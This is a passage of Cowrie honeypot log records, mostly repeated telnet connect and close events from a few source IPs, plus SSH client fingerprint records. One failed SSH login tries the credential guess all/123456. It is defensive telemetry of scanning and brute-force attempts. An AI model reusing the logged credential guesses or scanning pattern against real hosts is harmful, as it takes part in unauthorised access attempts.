{"eventid":"cowrie.session.closed","duration":35.11974883079529,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:46.269686Z","src_ip":"159.203.13.64","session":"0f804da05297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43090,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97026f1b2c9","protocol":"telnet","message":"New connection: 159.203.13.64:43090 (10.17.0.5:23) [session: c97026f1b2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:47.529285Z"}
{"eventid":"cowrie.session.closed","duration":32.63150143623352,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:49.894504Z","src_ip":"159.203.13.64","session":"76f6b851ee93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43096,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ae83af68b4b","protocol":"telnet","message":"New connection: 159.203.13.64:43096 (10.17.0.5:23) [session: 8ae83af68b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:50.451988Z"}
{"eventid":"cowrie.session.closed","duration":38.87469458580017,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:50.470544Z","src_ip":"159.203.13.64","session":"46e6eea21bea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.20877957344055,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:50.929596Z","src_ip":"159.203.13.64","session":"c72734c61c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d016803036","protocol":"telnet","message":"New connection: 159.203.13.64:40212 (10.17.0.5:23) [session: f4d016803036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:51.493050Z"}
{"eventid":"cowrie.session.closed","duration":37.218307971954346,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:52.596478Z","src_ip":"159.203.13.64","session":"562bcad50122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.90808629989624,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:53.952397Z","src_ip":"159.203.13.64","session":"e5db44d0448f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40228,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc55d6a674f","protocol":"telnet","message":"New connection: 159.203.13.64:40228 (10.17.0.5:23) [session: 6bc55d6a674f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:54.452687Z"}
{"eventid":"cowrie.session.closed","duration":39.924288749694824,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:56.251037Z","src_ip":"80.252.221.197","session":"e1452f5dc887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.8877227306366,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:56.581331Z","src_ip":"159.203.13.64","session":"efa078293284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40240,"dst_ip":"10.17.0.5","dst_port":23,"session":"61a5447aa873","protocol":"telnet","message":"New connection: 159.203.13.64:40240 (10.17.0.5:23) [session: 61a5447aa873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:57.167561Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40248,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c45bf466c71","protocol":"telnet","message":"New connection: 159.203.13.64:40248 (10.17.0.5:23) [session: 3c45bf466c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:57.585154Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40260,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6d6b7f15c1","protocol":"telnet","message":"New connection: 159.203.13.64:40260 (10.17.0.5:23) [session: 5c6d6b7f15c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:57.868542Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40264,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb5040c3fced","protocol":"telnet","message":"New connection: 159.203.13.64:40264 (10.17.0.5:23) [session: bb5040c3fced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:58.774930Z"}
{"eventid":"cowrie.session.closed","duration":41.004918575286865,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:58.817183Z","src_ip":"159.203.13.64","session":"85ab15aefd01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39916,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ff5d1931f8","protocol":"ssh","message":"New connection: 159.203.92.129:39916 (159.203.135.109:22) [session: 16ff5d1931f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:01.123286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:01.129754Z","src_ip":"159.203.92.129","session":"16ff5d1931f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:01.134932Z","src_ip":"159.203.92.129","session":"16ff5d1931f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"all","password":"123456","message":"login attempt [all/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:01.193017Z","src_ip":"159.203.92.129","session":"16ff5d1931f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:02.201357Z","src_ip":"159.203.92.129","session":"16ff5d1931f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58830,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84a650d4735","protocol":"telnet","message":"New connection: 159.203.13.64:58830 (10.17.0.5:23) [session: f84a650d4735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:02.424630Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58840,"dst_ip":"10.17.0.5","dst_port":23,"session":"303bb81adda5","protocol":"telnet","message":"New connection: 159.203.13.64:58840 (10.17.0.5:23) [session: 303bb81adda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:02.821706Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58850,"dst_ip":"10.17.0.5","dst_port":23,"session":"fef8627bddc9","protocol":"telnet","message":"New connection: 159.203.13.64:58850 (10.17.0.5:23) [session: fef8627bddc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:04.161621Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47502,"dst_ip":"159.203.135.109","dst_port":23,"session":"a089d3014964","protocol":"telnet","message":"New connection: 80.252.221.197:47502 (159.203.135.109:23) [session: a089d3014964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:04.239697Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47508,"dst_ip":"159.203.135.109","dst_port":23,"session":"f86047d655ed","protocol":"telnet","message":"New connection: 80.252.221.197:47508 (159.203.135.109:23) [session: f86047d655ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:06.004808Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47514,"dst_ip":"159.203.135.109","dst_port":23,"session":"cddc11ac24bd","protocol":"telnet","message":"New connection: 80.252.221.197:47514 (159.203.135.109:23) [session: cddc11ac24bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:06.600676Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47530,"dst_ip":"159.203.135.109","dst_port":23,"session":"55514ea450a5","protocol":"telnet","message":"New connection: 80.252.221.197:47530 (159.203.135.109:23) [session: 55514ea450a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:07.042681Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47542,"dst_ip":"159.203.135.109","dst_port":23,"session":"07cb35e5a6b6","protocol":"telnet","message":"New connection: 80.252.221.197:47542 (159.203.135.109:23) [session: 07cb35e5a6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:07.160434Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47550,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff0d7bd96c05","protocol":"telnet","message":"New connection: 80.252.221.197:47550 (159.203.135.109:23) [session: ff0d7bd96c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:07.301843Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45112,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a7bde04d607","protocol":"telnet","message":"New connection: 80.252.221.197:45112 (159.203.135.109:23) [session: 5a7bde04d607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:07.774503Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58858,"dst_ip":"10.17.0.5","dst_port":23,"session":"78728ea6cae2","protocol":"telnet","message":"New connection: 159.203.13.64:58858 (10.17.0.5:23) [session: 78728ea6cae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:08.546550Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58864,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca569b3f359b","protocol":"telnet","message":"New connection: 159.203.13.64:58864 (10.17.0.5:23) [session: ca569b3f359b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:08.942951Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45126,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d0f2f48bf8","protocol":"telnet","message":"New connection: 80.252.221.197:45126 (159.203.135.109:23) [session: a4d0f2f48bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:09.118943Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58866,"dst_ip":"10.17.0.5","dst_port":23,"session":"221c368bbe01","protocol":"telnet","message":"New connection: 159.203.13.64:58866 (10.17.0.5:23) [session: 221c368bbe01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:09.993392Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58872,"dst_ip":"10.17.0.5","dst_port":23,"session":"38bfbba19b6c","protocol":"telnet","message":"New connection: 159.203.13.64:58872 (10.17.0.5:23) [session: 38bfbba19b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:10.066536Z"}
{"eventid":"cowrie.session.closed","duration":40.68962383270264,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:13.471398Z","src_ip":"159.203.13.64","session":"de2f016db8ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45136,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccba948a4be8","protocol":"telnet","message":"New connection: 80.252.221.197:45136 (159.203.135.109:23) [session: ccba948a4be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:14.196817Z"}
{"eventid":"cowrie.session.closed","duration":37.848692417144775,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:14.766562Z","src_ip":"159.203.13.64","session":"ba74bc3e6914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58298,"dst_ip":"10.17.0.5","dst_port":23,"session":"2321e86b82df","protocol":"telnet","message":"New connection: 159.203.13.64:58298 (10.17.0.5:23) [session: 2321e86b82df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:17.570524Z"}
{"eventid":"cowrie.session.closed","duration":33.983662366867065,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:17.925714Z","src_ip":"159.203.13.64","session":"c9f57dbd1274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58308,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c9cf84b982","protocol":"telnet","message":"New connection: 159.203.13.64:58308 (10.17.0.5:23) [session: 00c9cf84b982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:18.364907Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":52786,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66a089ba25a","protocol":"telnet","message":"New connection: 80.252.221.197:52786 (159.203.135.109:23) [session: f66a089ba25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:21.722228Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":52790,"dst_ip":"159.203.135.109","dst_port":23,"session":"d232ebb21d7d","protocol":"telnet","message":"New connection: 80.252.221.197:52790 (159.203.135.109:23) [session: d232ebb21d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:23.115773Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56176,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb72814c2934","protocol":"telnet","message":"New connection: 159.203.13.64:56176 (10.17.0.5:23) [session: bb72814c2934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:24.464902Z"}
{"eventid":"cowrie.session.closed","duration":44.33017301559448,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:24.990327Z","src_ip":"159.203.13.64","session":"d977ae4676cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56188,"dst_ip":"10.17.0.5","dst_port":23,"session":"c76efaeb9cc4","protocol":"telnet","message":"New connection: 159.203.13.64:56188 (10.17.0.5:23) [session: c76efaeb9cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:26.844417Z"}
{"eventid":"cowrie.session.closed","duration":43.134634017944336,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:27.256936Z","src_ip":"159.203.13.64","session":"8cb5bbf9f892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.531593799591064,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:28.060738Z","src_ip":"159.203.13.64","session":"c97026f1b2c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.33333873748779,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:31.785228Z","src_ip":"159.203.13.64","session":"8ae83af68b4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.99314785003662,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:32.486065Z","src_ip":"159.203.13.64","session":"f4d016803036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.36532282829285,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:33.817910Z","src_ip":"159.203.13.64","session":"6bc55d6a674f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.159209966659546,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:35.027605Z","src_ip":"159.203.13.64","session":"5c6d6b7f15c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.206236124038696,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:35.373695Z","src_ip":"159.203.13.64","session":"61a5447aa873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.45255184173584,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:36.877079Z","src_ip":"159.203.13.64","session":"f84a650d4735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47696,"dst_ip":"10.17.0.5","dst_port":23,"session":"74037e9a1a51","protocol":"telnet","message":"New connection: 159.203.13.64:47696 (10.17.0.5:23) [session: 74037e9a1a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:37.561553Z"}
{"eventid":"cowrie.session.closed","duration":40.405633211135864,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:37.988277Z","src_ip":"159.203.13.64","session":"3c45bf466c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47708,"dst_ip":"10.17.0.5","dst_port":23,"session":"c302dd323d0f","protocol":"telnet","message":"New connection: 159.203.13.64:47708 (10.17.0.5:23) [session: c302dd323d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:38.336891Z"}
{"eventid":"cowrie.session.closed","duration":35.915104389190674,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:40.154671Z","src_ip":"80.252.221.197","session":"a089d3014964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41896,"dst_ip":"10.17.0.5","dst_port":23,"session":"120d37d86d9f","protocol":"telnet","message":"New connection: 159.203.13.64:41896 (10.17.0.5:23) [session: 120d37d86d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:40.829024Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41910,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c670dfb5eb3","protocol":"telnet","message":"New connection: 159.203.13.64:41910 (10.17.0.5:23) [session: 4c670dfb5eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:42.379537Z"}
{"eventid":"cowrie.session.closed","duration":38.32191181182861,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:42.483393Z","src_ip":"159.203.13.64","session":"fef8627bddc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12356352806091,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:43.128240Z","src_ip":"80.252.221.197","session":"f86047d655ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.37512230873108,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:43.417706Z","src_ip":"80.252.221.197","session":"55514ea450a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.812947273254395,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:43.634518Z","src_ip":"159.203.13.64","session":"303bb81adda5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58252,"dst_ip":"159.203.135.109","dst_port":22,"session":"40d152798785","protocol":"ssh","message":"New connection: 159.203.92.129:58252 (159.203.135.109:22) [session: 40d152798785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:43.850533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:43.855785Z","src_ip":"159.203.92.129","session":"40d152798785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 